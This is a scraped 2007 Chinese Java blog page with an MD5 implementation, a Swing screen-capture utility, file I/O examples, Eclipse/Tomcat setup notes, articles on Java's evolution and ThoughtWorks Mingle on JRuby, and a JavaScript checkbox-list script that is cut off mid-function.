        c = FF (c, d, a, b, x[14], S13, 0xa679438eL); /* 15 */
        b = FF (b, c, d, a, x[15], S14, 0x49b40821L); /* 16 */

        /* Round 2 */
        a = GG (a, b, c, d, x[1], S21, 0xf61e2562L); /* 17 */
        d = GG (d, a, b, c, x[6], S22, 0xc040b340L); /* 18 */
        c = GG (c, d, a, b, x[11], S23, 0x265e5a51L); /* 19 */
        b = GG (b, c, d, a, x[0], S24, 0xe9b6c7aaL); /* 20 */
        a = GG (a, b, c, d, x[5], S21, 0xd62f105dL); /* 21 */
        d = GG (d, a, b, c, x[10], S22, 0x2441453L); /* 22 */
        c = GG (c, d, a, b, x[15], S23, 0xd8a1e681L); /* 23 */
        b = GG (b, c, d, a, x[4], S24, 0xe7d3fbc8L); /* 24 */
        a = GG (a, b, c, d, x[9], S21, 0x21e1cde6L); /* 25 */
        d = GG (d, a, b, c, x[14], S22, 0xc33707d6L); /* 26 */
        c = GG (c, d, a, b, x[3], S23, 0xf4d50d87L); /* 27 */
        b = GG (b, c, d, a, x[8], S24, 0x455a14edL); /* 28 */
        a = GG (a, b, c, d, x[13], S21, 0xa9e3e905L); /* 29 */
        d = GG (d, a, b, c, x[2], S22, 0xfcefa3f8L); /* 30 */
        c = GG (c, d, a, b, x[7], S23, 0x676f02d9L); /* 31 */
        b = GG (b, c, d, a, x[12], S24, 0x8d2a4c8aL); /* 32 */

        /* Round 3 */
        a = HH (a, b, c, d, x[5], S31, 0xfffa3942L); /* 33 */
        d = HH (d, a, b, c, x[8], S32, 0x8771f681L); /* 34 */
        c = HH (c, d, a, b, x[11], S33, 0x6d9d6122L); /* 35 */
        b = HH (b, c, d, a, x[14], S34, 0xfde5380cL); /* 36 */
        a = HH (a, b, c, d, x[1], S31, 0xa4beea44L); /* 37 */
        d = HH (d, a, b, c, x[4], S32, 0x4bdecfa9L); /* 38 */
        c = HH (c, d, a, b, x[7], S33, 0xf6bb4b60L); /* 39 */
        b = HH (b, c, d, a, x[10], S34, 0xbebfbc70L); /* 40 */
        a = HH (a, b, c, d, x[13], S31, 0x289b7ec6L); /* 41 */
        d = HH (d, a, b, c, x[0], S32, 0xeaa127faL); /* 42 */
        c = HH (c, d, a, b, x[3], S33, 0xd4ef3085L); /* 43 */
        b = HH (b, c, d, a, x[6], S34, 0x4881d05L); /* 44 */
        a = HH (a, b, c, d, x[9], S31, 0xd9d4d039L); /* 45 */
        d = HH (d, a, b, c, x[12], S32, 0xe6db99e5L); /* 46 */
        c = HH (c, d, a, b, x[15], S33, 0x1fa27cf8L); /* 47 */
        b = HH (b, c, d, a, x[2], S34, 0xc4ac5665L); /* 48 */

        /* Round 4 */
        a = II (a, b, c, d, x[0], S41, 0xf4292244L); /* 49 */
        d = II (d, a, b, c, x[7], S42, 0x432aff97L); /* 50 */
        c = II (c, d, a, b, x[14], S43, 0xab9423a7L); /* 51 */
        b = II (b, c, d, a, x[5], S44, 0xfc93a039L); /* 52 */
        a = II (a, b, c, d, x[12], S41, 0x655b59c3L); /* 53 */
        d = II (d, a, b, c, x[3], S42, 0x8f0ccc92L); /* 54 */
        c = II (c, d, a, b, x[10], S43, 0xffeff47dL); /* 55 */
        b = II (b, c, d, a, x[1], S44, 0x85845dd1L); /* 56 */
        a = II (a, b, c, d, x[8], S41, 0x6fa87e4fL); /* 57 */
        d = II (d, a, b, c, x[15], S42, 0xfe2ce6e0L); /* 58 */
        c = II (c, d, a, b, x[6], S43, 0xa3014314L); /* 59 */
        b = II (b, c, d, a, x[13], S44, 0x4e0811a1L); /* 60 */
        a = II (a, b, c, d, x[4], S41, 0xf7537e82L); /* 61 */
        d = II (d, a, b, c, x[11], S42, 0xbd3af235L); /* 62 */
        c = II (c, d, a, b, x[2], S43, 0x2ad7d2bbL); /* 63 */
        b = II (b, c, d, a, x[9], S44, 0xeb86d391L); /* 64 */

        state[0] += a;
        state[1] += b;
        state[2] += c;
        state[3] += d;
    }

    // Encode把long数组按顺序拆成byte数组,因为java的long类型是64bit的,
    // 只拆低32bit,以适应原始C实现的用途
      
    private void Encode (byte[] output, long[] input, int len)
    {
        int i, j;

        for (i = 0, j = 0; j < len; i++, j += 4) {
         output[j] = (byte)(input[i] & 0xffL);
         output[j + 1] = (byte)((input[i] >>> 8) & 0xffL);
         output[j + 2] = (byte)((input[i] >>> 16) & 0xffL);
         output[j + 3] = (byte)((input[i] >>> 24) & 0xffL);
        }
    }

    // Decode把byte数组按顺序合成成long数组,因为java的long类型是64bit的,
        //    只合成低32bit,高32bit清零,以适应原始C实现的用途
      
    private void Decode (long[] output, byte[] input, int len)
    {
        int i, j;

        for (i = 0, j = 0; j < len; i++, j += 4)
         output[i] = b2iu(input[j]) |
          (b2iu(input[j + 1]) << 8) |
          (b2iu(input[j + 2]) << 16) |
          (b2iu(input[j + 3]) << 24);

         return;
    }

    // b2iu是一个把byte按照不考虑正负号的原则的"升位"程序,因为java没有unsigned运算
      
    public static long b2iu(byte b) {
        return b < 0 ? b & 0x7F + 128 : b;
    }

    // byteHEX(),用来把一个byte类型的数转换成十六进制的ASCII表示,
    //     因为java中的byte的toString无法实现这一点,我们又没有C语言中的
    //     sprintf(outbuf,"%02X",ib)
      
        public static String byteHEX(byte ib)
    {
         char[] Digit = { '0','1','2','3','4','5','6','7','8','9',
          'A','B','C','D','E','F' };
         char [] ob = new char[2];
         ob[0] = Digit[(ib >>> 4) & 0X0F];
         ob[1] = Digit[ib & 0X0F];
         String s = new String(ob);
         return s;
    }

    public static String toMD5(String source)
    {
        MD5 md5 = new MD5();
        return md5.getMD5ofStr(source);
    }

    public static void main(String[] args)
    {
    MD5 md5 = new MD5();
    System.out.println(md5.toMD5(args[0]));
    }
    }

    先编译javac MD5.java,后带字符串参数运行,如:java MD5 abc

    //结果生成 32位的加密字符串,有的实例中截取的是加密字串的 8--24位,长度为16位.

    posted @ 2007-05-28 01:41 jadmin 阅读(50) | 评论 (0)编辑 收藏
             Java技术自问世时光已经过去了9个年头。作为一名一直关注其成长的记者,曾经一段时间有过这样的想法:“Java技术已经成熟,是不是发展速度该放慢一些了呢”。然而,这种想法错了。近来Java技术的进化相当显著。Java技术正在迎来“又一次革命”的风暴。这就是本文的结论。

      “又一次”指的是什么?“革命”指的又是什么?光看结论的话肯定是一头雾水。其实,笔者要讲的并不是变化这样一个事实,而是“促进变化的原动力”。是什么让Java技术发生变化?让我们从这一角度出发,先看一下Java的变化历程。

      Java正处于转变期

      回顾Java技术的发展历程,人们一定会感慨:2004年到2005年发生的变化如此之大,可以说“现在”正是Java技术的转换期。 Java技术由编程语言(Java语言)、运行环境(JVM:Java虚拟机)、框架(Java API群)组成,目前在每一个层面上都发生着巨大的变化。

      (1)编程语言的变化

      Java语言标准出现明显变化。在2004年9月发布的正式版本J2SE5.0(J2SE:Java2 Standard, Standard Edition,Java技术的核心运行环境)中,对Java语言标准中的Generics与元数据进行了大幅扩展。出现了被认为是“自Java问世以来的最大一次语言标准变化”(美国Sun Microsystems)。这次语言标准的变化给许多Java API带来了影响。许多企业API的新版本都引入了基于元数据的注解(程序中记录的附加信息),以较短的编码记述更多的信息。

      (2)Java运行环境的变化

      在J2SE5.0中,大幅度强化了JVM的管理功能与实用性,换句话说就是具备了Java执行OS(操作系统)的特征。例如,原来在J2EE (Java2 Platform, Enterprise Edition,构筑企业系统的Java技术)领域,标准配备有作为管理功能的应用软件管理框架JMX。不仅如此,还配备有JVM自身监控功能((JSR 174: Monitoring and Management Specification for the Java Virtual Machine)。在标准功能架构中可以实时监视JVM运行时的状态,也就是内存使用量、线程状态等。

      J2SE5.0中新追加的功能中包括并行处理实用程序(JSR 166),其基础是纽约州立大学Doug Lea提供的程序库。也就是说,标准规格中采用了来自民间的程序库。

      (3)框架的变化

      服务器端的Java框架也发生了巨大变化。企业级Java技术--J2EE的“使用方法”说明文件“J2EE Blueprint”中,提出了将应用软件分为Web层、EJB层(Enterprise JavaBeans,将包括事务处理在内的业务进程模块化的框架)来构筑的思路。这两种层次都迎来了架构更替时期。Web层的新框架为JSF (JavaServer Faces,将模块组合起来构筑Web应用程序的框架),EJB层为标准方案中刚刚公布的下一代EJB规格“EJB3.0”。

      值得注意的是,促成框架发生变化的正是来自民间的源码开放软件。

      对JSF产生影响的是作为源码开放的Web层框架得到普及的Apache Struts。JSF是对Struts的思路进行改进的产物,JSF的Spec Lead(规格制定领袖)之一Craig R. McClanahan就是Struts的作者。

            对EJB3.0造成影响的也是民间源码开放软件。EJB3.0引入了DI(Dependency Injection,依赖注入)容器类(Container)与POJO(Plain Old Java Object)持久类这些新功能,大大减轻了编程的复杂性。这些概念因PicoContainer、Spring等源码开放软件的导入而引人注目。

      其背景在于用户对“目前的EJB过于复杂”的批评。原本由EJB反对派提出的设计思想与源码开放软件,却变成了EJB3.0的中心概念,显出了巨大的影响力。

      (4)脚本语言

      在Java技术标准中新增加了编程语言Groovy(JSR 241)。这是一种可与Java语言无缝连接的脚本语言,有望以极短的程序完成相关处理。“在Java技术中添加Java以外的语言”,这听起来也许有些别扭,其实以前就有这样的呼声,希望将可以充分利用Java技术资源的脚本作为语言使用。Groovy本来是源码开放软件,最终得到认可,被采纳为标准规格。

      由上述可以看出,Java技术的构成要素正在发生巨大变化。就在不久以前,一提起服务器Java,“Servlet、JSP、EJB是重要的 API”这样的说明还占主流,但现在基于JSF和EJB3.0的应用程序已经变成了“面目全非”的程序。而在运行短程序或测试时,甚至还出现了不仅是 Java语言,连脚本语言都开始调用Java框架的情况。

      这些变化从大的方面来看的话,可以说是进一步发挥了Java面向对象的优势。当然,也包括提高开发效率、提高运行稳定性、简化运行管理等业务上的优势。

      开发者团体是真正的“变革推动者”

      那么,这些变化的原动力来自哪里呢?为什么说“目前”正面临着“又一次变革”呢?理由如下:

      在Java技术的发展过程中,1999年到2000年是一个大的转折点。J2EE概念于1999年出现。日本国内的J2EE也在随后2~3年内得到正式普及,但这一技术体系早在5年前就已经确立。在我们眼前,新一代Java技术的轮廓正逐渐显现出来。

      JCP(Java Community Process)2.0于2000年问世。以会员制的组织形式推进Java技术的规格制订、总体发展方向则以委员会的方式决定。从而形成了不依赖特定企业的规格制订流程。这一组织形式历经近5年的时间,逐渐发展成“变革的推动者”。

      J2EE此前一直饱受批评,认为“Web层与EJB层的差距太大”、“EJB过于复杂”,但这也是因为这是一项实际使用的技术。JCP同样也遇到很多批评,称其“没有完全公开”、“制定的技术标准却不可思议地让Sun拥有知识产权”,但JCP却作为一个团体不断发展壮大。

      直接推动Java技术变化的当事者为5年前形成的基于团体的标准制订流程--JCP,但真正将讨论与技术纳入JCP的却是包括Java技术批评者在内的众多Java开发者团体。他们也是早期开展Java技术变革的先行者。由此诞生的下一代技术将会在2~3年后逐渐波及主流企业用户。

      Java技术的“变革推动者”为开发者团体。不受制于特定企业,通过众多需要Java的开发者的建议,Java技术正在不断发展进步。
    posted @ 2007-05-28 01:30 jadmin 阅读(36) | 评论 (0)编辑 收藏

    import java.security.*;

    public class MD5 {

          /**
          * 字符串加密方法。传入一个字符串,返回经过<b>MD5</b>加密后的一个字符串
          *   @param   strInput
          *   @return
           */
          public    static   String encryptMD5(String strInput) {
             StringBuffer buf=null;
             try {
                 MessageDigest md = MessageDigest.getInstance("MD5");
                 md.update(strInput.getBytes());
                 byte b[] = md.digest();
                  buf = new StringBuffer(b.length * 2);
                 for(int i=0;i<b.length;i++) {
                     if (((int)b[i] & 0xff) < 0x10) { // & 0xff转换无符号整型
                         buf.append("0");
                     }
                    // buf.append(Long.toString((int) b[i] & 0xff, 16));//转换16进制,下方法同
                    buf.append(Long.toHexString((int)b[i] & 0xff));
                 }
             }catch(NoSuchAlgorithmException ex) {
                  ex.printStackTrace();
             }
            return buf.toString();
         }

          public    static    void   main(String args[]) {
             String test   =    "abc" ;
             System.out.println(encryptMD5(test));
         }
    }

    /**
    * 下面是一些测试数据:
    *   MD5 ("") = d41d8cd98f00b204e9800998ecf8427e
    *
    *   MD5 ("a") = 0cc175b9c0f1b6a831c399e269772661
    *
    *   MD5 ("abc") = 900150983cd24fb0d6963f7d28e17f72
    *
    *   MD5 ("message digest") = f96b697d7cb7938d525a2f31aaf161d0
    *
    *   MD5 ("abcdefghijklmnopqrstuvwxyz") = c3fcd3d76192e4007dfb496cca67e13b
    */

    posted @ 2007-05-28 01:24 jadmin 阅读(41) | 评论 (0)编辑 收藏

    /* 主要使用的是java.util.Robot类来捕获屏幕,
    * 可以实现对屏幕一个矩形区域的捕获,通过这个类,
    * 我们也可以实现一个远程桌面控制的程序
    */

    package com.qiu.util;
    import java.io.*;
    import java.net.*;
    import javax.swing.*;
    import java.awt.*;
    import java.awt.event.*;
    import java.awt.image.*;
    import javax.imageio.*;
    import java.io.*;


    public class ScreenCapture {
    //test main
    public static void main(String[] args) throws Exception{
       String userdir = System.getProperty("user.dir");
       File tempFile = new File("d:","temp.png");
       ScreenCapture capture = ScreenCapture.getInstance();
       capture.captureImage();  
       JFrame frame = new JFrame();
       JPanel panel = new JPanel();
       panel.setLayout(new BorderLayout());
       JLabel imagebox = new JLabel();
       panel.add(BorderLayout.CENTER,imagebox);  
       imagebox.setIcon(capture.getPickedIcon());
       capture.saveToFile(tempFile);
       capture.captureImage();
       imagebox.setIcon(capture.getPickedIcon());
       frame.setContentPane(panel);
       frame.setSize(400,300);
       frame.show();
       System.out.println("Over");
    }

    private ScreenCapture() {
      
       try{
        robot = new Robot();
       }
       catch(AWTException e) {
        System.err.println("Internal Error: " + e);
        e.printStackTrace();
       }  
       JPanel cp = (JPanel)dialog.getContentPane();
       cp.setLayout(new BorderLayout());  
       labFullScreenImage.addMouseListener(new MouseAdapter() {
         public void mouseReleased(MouseEvent evn) {
           isFirstPoint = true;
           pickedImage = fullScreenImage.getSubimage(recX,recY,recW,recH);
           dialog.setVisible(false);     
         }
        });
       
       labFullScreenImage.addMouseMotionListener(new MouseMotionAdapter() {
         public void mouseDragged(MouseEvent evn) {
          if(isFirstPoint) {
           x1 = evn.getX();
           y1 = evn.getY();
           isFirstPoint = false;  
          }
          else {
           x2 = evn.getX();
           y2 = evn.getY();
           int maxX = Math.max(x1,x2);
           int maxY = Math.max(y1,y2);
           int minX = Math.min(x1,x2);
           int minY = Math.min(y1,y2);
           recX = minX;
           recY = minY;
           recW = maxX-minX;
           recH = maxY-minY;
           labFullScreenImage.drawRectangle(recX,recY,recW,recH);    
          }
         }
        
         public void mouseMoved(MouseEvent e) {
          labFullScreenImage.drawCross(e.getX(),e.getY());
         }
        });
       
       cp.add(BorderLayout.CENTER,labFullScreenImage);
       dialog.setCursor(Cursor.getPredefinedCursor(Cursor.CROSSHAIR_CURSOR));
       dialog.setAlwaysOnTop(true);
       dialog.setMaximumSize(
        Toolkit.getDefaultToolkit().getScreenSize());
       dialog.setUndecorated(true);
       dialog.setSize(dialog.getMaximumSize());
       dialog.setModal(true);
    }
    //Singleton Pattern
    public static ScreenCapture getInstance() {
       return defaultCapturer;
    }
    /**捕捉全屏慕*/
    public Icon captureFullScreen() {
       fullScreenImage = robot.createScreenCapture(new Rectangle(
        Toolkit.getDefaultToolkit().getScreenSize()));
       ImageIcon icon = new ImageIcon(fullScreenImage);
       return icon;
    }
    /**捕捉屏幕的一个矫形区域
       */
    public void captureImage() {
       fullScreenImage = robot.createScreenCapture(new Rectangle(
        Toolkit.getDefaultToolkit().getScreenSize()));
       ImageIcon icon = new ImageIcon(fullScreenImage);
       labFullScreenImage.setIcon(icon);  
       dialog.setVisible(true);
    }
    /**得到捕捉后的BufferedImage*/
    public BufferedImage getPickedImage() {
       return pickedImage;
    }
    /**得到捕捉后的Icon*/
    public ImageIcon getPickedIcon() {
       return new ImageIcon(getPickedImage());
    }
    /**储存为一个文件,为PNG格式
      *@deprecated
       *replaced by saveAsPNG(File file)
       **/
    @Deprecated
    public void saveToFile(File file) throws IOException{
       ImageIO.write(getPickedImage(),defaultImageFormater,file);
    }
    /**储存为一个文件,为PNG格式*/
    public void saveAsPNG(File file) throws IOException {
       ImageIO.write(getPickedImage(),"png",file);
    }
    /**储存为一个JPEG格式图像文件*/
    public void saveAsJPEG(File file) throws IOException {
       ImageIO.write(getPickedImage(),"JPEG",file);
    }

    /**写入一个OutputStream*/
    public void write(OutputStream out) throws IOException{
       ImageIO.write(getPickedImage(),defaultImageFormater,out);
    }

    //singleton design pattern
    private static ScreenCapture defaultCapturer = new ScreenCapture();
    private int x1,y1,x2,y2;
    private int recX,recY,recH,recW; //截取的图像
    private boolean isFirstPoint   = true;
    private BackgroundImage labFullScreenImage = new BackgroundImage();
    private Robot robot;
    private BufferedImage fullScreenImage;
    private BufferedImage pickedImage;
    private String defaultImageFormater = "png";
    private JDialog dialog = new JDialog();
    }

    /**显示图片的Label*/
    class BackgroundImage extends JLabel{
    public void paintComponent(Graphics g) {
       super.paintComponent(g);
       g.drawRect(x,y,w,h);
       String area = Integer.toString(w)+" * "+ Integer.toString(h);
       g.drawString(area,x+(int)w/2-15,y+(int)h/2);
       g.drawLine(lineX,0,lineX,getHeight());
       g.drawLine(0,lineY,getWidth(),lineY);
    }

    public void drawRectangle(int x,int y,int width,int height) {
       this.x = x;
       this.y = y;
       h = height;
       w = width;
       repaint();
    }

    public void drawCross(int x,int y) {
       lineX = x;
       lineY = y;
       repaint();
    }

    int lineX,lineY;
    int x,y,h,w;
    }

    posted @ 2007-05-28 00:54 jadmin 阅读(48) | 评论 (0)编辑 收藏

    import java.io.*;

    public class FileReadTest
    {
    public static void main(String[] args)
    {
       FileReadTest t = new FileReadTest();
       t.readMyFile();
    }
    void readMyFile()
    {
       String temp = null;
       int count = 0;
       try
       {
        FileReader fr = new FileReader("mydata.txt");
        BufferedReader br = new BufferedReader(fr);
        temp = new String();
        while((temp = br.readLine()) != null)
        {
         count++;
         System.out.println(count + ":" + temp);
        }
        br.close();
        fr.close();
       }
       catch(IOException e)
       {
        System.out.println("OH,got an IOException error!");
        e.printStackTrace();
       }
    }
    }

    posted @ 2007-05-28 00:32 jadmin 阅读(37) | 评论 (0)编辑 收藏

    import java.io.*;

    public class FileInputDemo
    {
    public static void main(String[] args)
    {
       try
       {
        FileInputStream f = new FileInputStream("mydata.txt");
        DataInputStream in = new DataInputStream(f);
        //BufferedReader br = new BufferedReader(new InputStreamReader(f));
        while(in.available() != 0)
         System.out.println(in.readLine());
         /**
          * DataInputStream.readLine()已经过时
          * 使用 DataInputStream 类读取文本行的程序可以改为使用BufferedReader类
          * 改用BufferedReader.readLine()方法
          * 只要将以下形式的代码:DataInputStream d = new DataInputStream(in);
          * 替换为:BufferedReader d = new BufferedReader(new InputStreamReader(in));
          */
        in.close();
       }
       catch(Exception e)
       {
        System.err.println("File input error!");
       }
    }
    }

    posted @ 2007-05-28 00:29 jadmin 阅读(80) | 评论 (0)编辑 收藏


    import java.io.*;

    public class FileWriterTest
    {
    public static void main(String[] args)
    {
       FileWriterTest t = new FileWriterTest();
       t.WriteMyFile();
    }

    void WriteMyFile()
    {
       try
       {
        FileWriter fw = new FileWriter("mydata.txt");
        PrintWriter out =new PrintWriter(fw);
        out.print("Hello,World!");
        out.close();
        fw.close();
       }
       catch(IOException e)
       {
        System.out.println("OH,got an IOException error!");
        e.printStackTrace();
       }
    }
    }

    posted @ 2007-05-28 00:28 jadmin 阅读(46) | 评论 (0)编辑 收藏

    1


    //用FileOutputStream将内容写入文本文件

    import java.io.*;
    public class FileOutputDemo
    {
    public static void main(String[] args)
    {
       FileOutputStream out;
       PrintStream p;
       try
       {
        out = new FileOutputStream("myfile.txt");
        p = new PrintStream(out);
        p.println("Hello,World!");
        p.close();
       }
       catch(Exception e)
       {
        System.err.println("Error writing to file!");
       }
    }

    }

    2

    import java.io.*;

    class FSODemo
    {
       public static void main(String args[]) throws Exception
       {
         String source="Beijing is the capital of China\n"
         +"and it is a very beautiful city.\n"
         +"Welcome to Beijing!";
         byte buf[] = source.getBytes();
         FileOutputStream f=new FileOutputStream("file.txt");
         f.write(buf);
         f.close();
         System.out.println("文本已经成功写入文件!");
       }
    }

    posted @ 2007-05-28 00:27 jadmin 阅读(348) | 评论 (0)编辑 收藏

    1.把浮点数写入文件


    import java.io.*;

    public class FileOutputDemo
    {
    public static void main(String[] args)
    {
       FileOutputStream out;
       DataOutputStream p;

       try
       {
        out = new FileOutputStream("myfile.txt");
        p = new DataOutputStream(out);
        p.writeDouble(3);
        p.writeDouble(4);
        p.writeDouble(5);
        p.close();
       }
       catch(Exception e)
       {
        System.err.println("Error writing to file");
       }
    }
    }

    2.从文件中读取浮点数


    import java.io.*;

    public class FileInputDemo
    {
    public static void main(String[] args)
    {
       if(args.length==1)
       {
        try
        {
         FileInputStream f = new FileInputStream(args[0]);
         DataInputStream in = new DataInputStream(f);
         while(in.available() != 0)
         {
          System.out.println(String.valueOf(in.readDouble()));
         }
         in.close();
        }
        catch(Exception e)
        {
         System.out.println("File input Erroe!");
        }
       }
       else
        System.out.println("Invalid parametres");
    }
    }

    posted @ 2007-05-28 00:25 jadmin 阅读(84) | 评论 (0)编辑 收藏
    在eclipse + MyEclipse+tomcat下配置建立J2EE工程环境需要:
    1.JDK1.5.0.6;
    2.eclipse3.1.2_SDK;
    3.MyEclips4.1.1;
    4.apache-tomcat-5.5.16;
    配置方法:
    1.安装:JDK1.5.0.6;如:D:Studyjdk1.5.0_06;
    2.解压:eclipse3.1.2_SDK;如:D:JavaStudyeclipse;
    3.解压:MyEclips4.1.1;如:D:JavaStudyMyEclipse;
    4.解压:apache-tomcat-5.5.16;如:D:JavaStudyapache-tomcat-5.5.16;
    5.设置内存:D:JavaStudyeclipse下面的eclipse.ini文件的-vmargs、-Xms256m、-Xmx512m;这里的Xms256m是eclipse可以使用的最小内存数;Xmx512是eclipse可以使用的最大内存数;这里的值根据系统的配置而定;
    6.配置MyEclipse:启动Eclipse-->Help-->Sofware Updates-->Manage Configuration -->Eclipse Platform上面右键-->ADD-->Extension Location;找到"D:JavaStudyMyEclipse";重新启动Eclipse;在标题栏里就多了一个MyEclipse的选项;
    7.配置Tomcat:启动Eclipse-->window-->preference-->MyEclips-->application Servers-->Tomcat 5-->Enable-->Tomcat Home Directory;找到Tomcat的安装目录"D:JavaStudyapache-tomcat-5.5.16";
    8.配置字符编码:启动Eclipse-->window-->preference-->General-->Content Types-->text然后在Default encoding中输入UTF-8-->update;依次把Java Properties File和一下的字符编码都update为UTF-8;
    posted @ 2007-05-27 22:31 jadmin 阅读(67) | 评论 (0)编辑 收藏

    在5月7日的Sun的CommunityOne会议上,ThoughtWorks Studios宣布他们即将推出的敏捷IT项目管理应用程序,Mingle,将是世界上第一个运行在JRuby上的商业应用程序。实际上,它可能是基于Ruby on Rails的首个商业分发产品。

    根据ThoughtWorks的说法,发起JRuby上的Mingle有很多的动机。首先,它使横跨他们目标平台的部署过程变得流畅。Mingle是基于Web的应用程序,它可以作为外部托管应用程序(ASP模式)使用,但是它同样也将以商业形式许可,并作为可安装包分发。

    特别是,Ruby on Rails应用的部署仍然要比期望的复杂得多。对于一个所在部署平台由单独的公司全权控制的托管应用来说,这是没有什么问题的,但是Mingle并不打算只能被托管。它不仅仅需要把规模扩大到Twitter的级别(OK,那会有点想当然,它可能不需要达到那么大的规模),而且它同样需要将规模“缩小”到能在一台只有1G内存的简单Windows XP机器上运行。在此基础上,对Ruby on Rails部署一无所知,甚至对部署了解不多的人,都将可以安装它。
    Mingle的可下载版本将以以下形式分发:Windows下的简单安装程序、Mac下的简单.app文件(拖、放、双击)和“通用”Unix下的.rpm/.tgz文件。企业用户还可选择将Mingle部署到他们已存在的产品系统中:

    几个月之后将要发布的Mingle 1.1,也将以.war文件的形式发布,这样它将可以部署在任何流行的Java EE应用服务器上,并使用任何流行的数据库服务器。以适应我们更大的客户的需求。
    这个决策同样也是锐意创新的产物。ThoughtWorks Studio的产品管理副总裁Chad Wathingtong称:“很显然ThoughtWorks乐于去推动技术的前沿阵地,当然,也因为这是一件很酷的事情。”任何人都可以一眼看出来,Mingle无疑推进了JRuby商业可用性的前沿阵地。

    Mingle代表了ThoughtWorks在面向大众的商业产品开发领域的第一场战役。它使用Ruby on Rails构建,由小型、专注的开发团队开发,该团队成立于澳大利亚悉尼,它的领导人是ThoughtWorks高级技术专家David Rice和Jon Tirsen。使用Rails的好处,得到了所有相关人员的高度认可:

    “Ruby on Rails给与了我们不可思议的生产率,并使得我们能以一个完全不同的级别处理复杂性,这在其他情况下是很难有可能的。长远来看,这将允许我们以更低的价格交付更好的特性,对我们的客户决定有利。”
    在内部,Mingle在Web服务器(Jetty)和数据库(Derby)方面使用了Java技术。执行效率并没有成为主要问题。通过简单的集群,当前的运行时可以很轻松地支持成百个并发用户,并且JRuby的执行效率在一直不断得到改善。根据开发团队所说,实验的部署已经在单个JVM进程中包括了10 JRuby解释器。

    6月,JRuby核心开发人员Ola Bini开始为ThoughtWorks全职工作,他将继续着手JRuby项目,并为ThoughtWorks内部发起的JRuby相关项目提供支持,如Mingle。

    ThoughtWorks强烈地感到他们正在为许多即将出现的JRuby应用程序铺平道路。Mingle显然为以下的说法提供了强有力的支持证据,当时Jon Tirsen夸张地说(某些程度上可能如此):

    “JRuby即将迎来黄金时代!”
    查看英文原文:Mingle from ThoughtWorks is Big Win for JRuby

    --------------------------------------------------------------------------------

    译者简介:胡键,自2000年西安交通大学硕士毕业后一直从事软件开发。2002年开始使用Java,在项目开发中经常采用OpenSource工具,如Ant、Maven、Hibernate、Struts等,目前正在研究信息集成方面的规范和技术。可以通过jianhgreat@hotmail.com与他联系,或访问博客:http://foxgem.javaeye.com/

    posted @ 2007-05-27 11:54 jadmin 阅读(67) | 评论 (0)编辑 收藏

    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
    <HTML>
    <HEAD>
    <TITLE> New Document </TITLE>
    <META NAME="Generator" CONTENT="EditPlus">
    <META NAME="Author" CONTENT="">
    <META NAME="Keywords" CONTENT="">
    <META NAME="Description" CONTENT="">
    <script type="text/javascript">
    function $() {
        var elements = new Array();
        for (var i = 0; i < arguments.length; i++) {
          var element = arguments[i];
          if (typeof element == 'string')
            element = document.getElementById(element);
          if (arguments.length == 1)
            return element;
          elements.push(element);
        }
        return elements;
    }

    //cody by jarry;
    String.prototype.trim = function()
    { return this.replace(/(^\s*)|(\s*$)/g, "");}
    function isExist(child,obj){
    //obj has element the child;
         for(var i=0;i<obj.elements.length;i++){
          if(obj.elements[i].tagName.toLowerCase()=="input" && obj.elements[i].type=="checkbox"){
             if(obj.elements[i].value==child)return true;
          }
         }
         return false;
    }
    function validateURL(url){
    //validateURL
    if(url.search(/^[A-Za-z0-9 -]+\.[A-Za-z0-9]+[\/=\?%\-&_~`@[\]\':+!]*([^<>\"\"])*$/)!=0){
    return false;
    //}else if(url.substring(0,4)=="www."){
    //网址不要前面的www.,如果没用的话可以注释掉;
    //return false;
    }else{
    return true;
    }
    }

    var strAll=unescape("%u5168%u9009");
    var canAll=unescape("%u53D6%u6D88");

    function clickchk(obj){
    var allcheck=true;
         for(var i=0;i<obj.elements.length;i++){
          if(obj.elements[i].tagName.toLowerCase()=="input" && obj.elements[i].type=="checkbox"){
            if(obj.elements[i].checked==false){allcheck=false;}
           }
        }
        obj.elements["check"].value=allcheck?canAll:strAll;  
    }
    function addSite(obj){

        var url=obj.url.value.trim();
        if(url.match(/^\s*$/g) || !validateURL(url)){alert("请输入正确网址:如mysite.com");obj.url.focus();return;}
        if(isExist(url,obj)){alert("你添加的网址已经存在列表中");return;}


        var list=document.getElementById("list");
        var chkbox=document.createElement("input");
        chkbox.type="checkbox";
        chkbox.onclick=function(){clickchk(obj);}//全部选择后check按钮显示取消;
        chkbox.value=url;
        chkbox.name="url_chkbox";
        var hr=document.createElement("hr");
        hr.size="0";hr.style.borderTop="1px solid gray";
        var txt=document.createTextNode(url);  
        var div=document.createElement("div");
        div.appendChild(chkbox);
        div.appendChild(txt);
        div.appendChild(hr);
        div.style.backgroundColor = "olive";
        div.onmouseover=function(){
         showDelete(this);
        }
      
    //start add element;
        list.appendChild(div);
    //end add;

    //如果已经添加了多选框则去掉禁用;
        if(obj.check.disabled==true){
          obj.check.disabled=false;
          obj.recheck.disabled = false;
          obj.remove.disabled=false;
          }

    return false;
    }
    function checkall(obj){//全选or取消全选;
    var chk=obj.elements["check"];
         for(var i=0;i<obj.elements.length;i++){
          if(obj.elements[i].tagName.toLowerCase()=="input" && obj.elements[i].type=="checkbox"){
            if(chk.value==strAll){//check all checkbox input;
            obj.elements[i].checked=true;
            }else{
             obj.elements[i].checked=false;
            }
             
          }
        }
        if($('list').childNodes.length<=1)return;
        chk.value=chk.value==canAll?strAll:canAll;
        //更改全选/取消的显示;
    }
    function reverseCheck(obj){
         var chk=obj.elements["check"];
         for(var i=0;i<obj.elements.length;i++){
          if(obj.elements[i].tagName.toLowerCase()=="input" && obj.elements[i].type=="checkbox"){
            obj.elements[i].checked = obj.elements[i].checked ? false : true;
          }
          clickchk(obj);
        }
    }

    function del(list,obj){

        var candel=false;
        var i=list.childNodes.length;
        var end = -1;
    //alert(list.childNodes.length+"\n"+list.innerHTML);
         while(    i > end ){  

           /* if(typeof(list.childNodes[i]) != "undefined")
            {//delete all elements;
            list.removeChild(list.childNodes[i]);    
            }*/

           var    s=list.childNodes[i];
    /*
    //alert( s + typeof(list.childNodes[i]) );
        if(typeof(s)!="undefined"    && s.tagName){  
            var tgname = s.tagName.toUpperCase();
         //alert(tgname);
              if(    tgname == "DIV" ){
        // alert(list.childNodes.length+":"+typeof(s) + s + s.tagName.toUpperCase() + s.childNodes.length + s.childNodes[0].type)
            }
    if(tgname == "DIV" && s.childNodes.length > 0 && s.childNodes[0].type.toLowerCase() =="checkbox" && s.childNodes[0].checked==true){
           //alert(s.childNodes[0].checked);
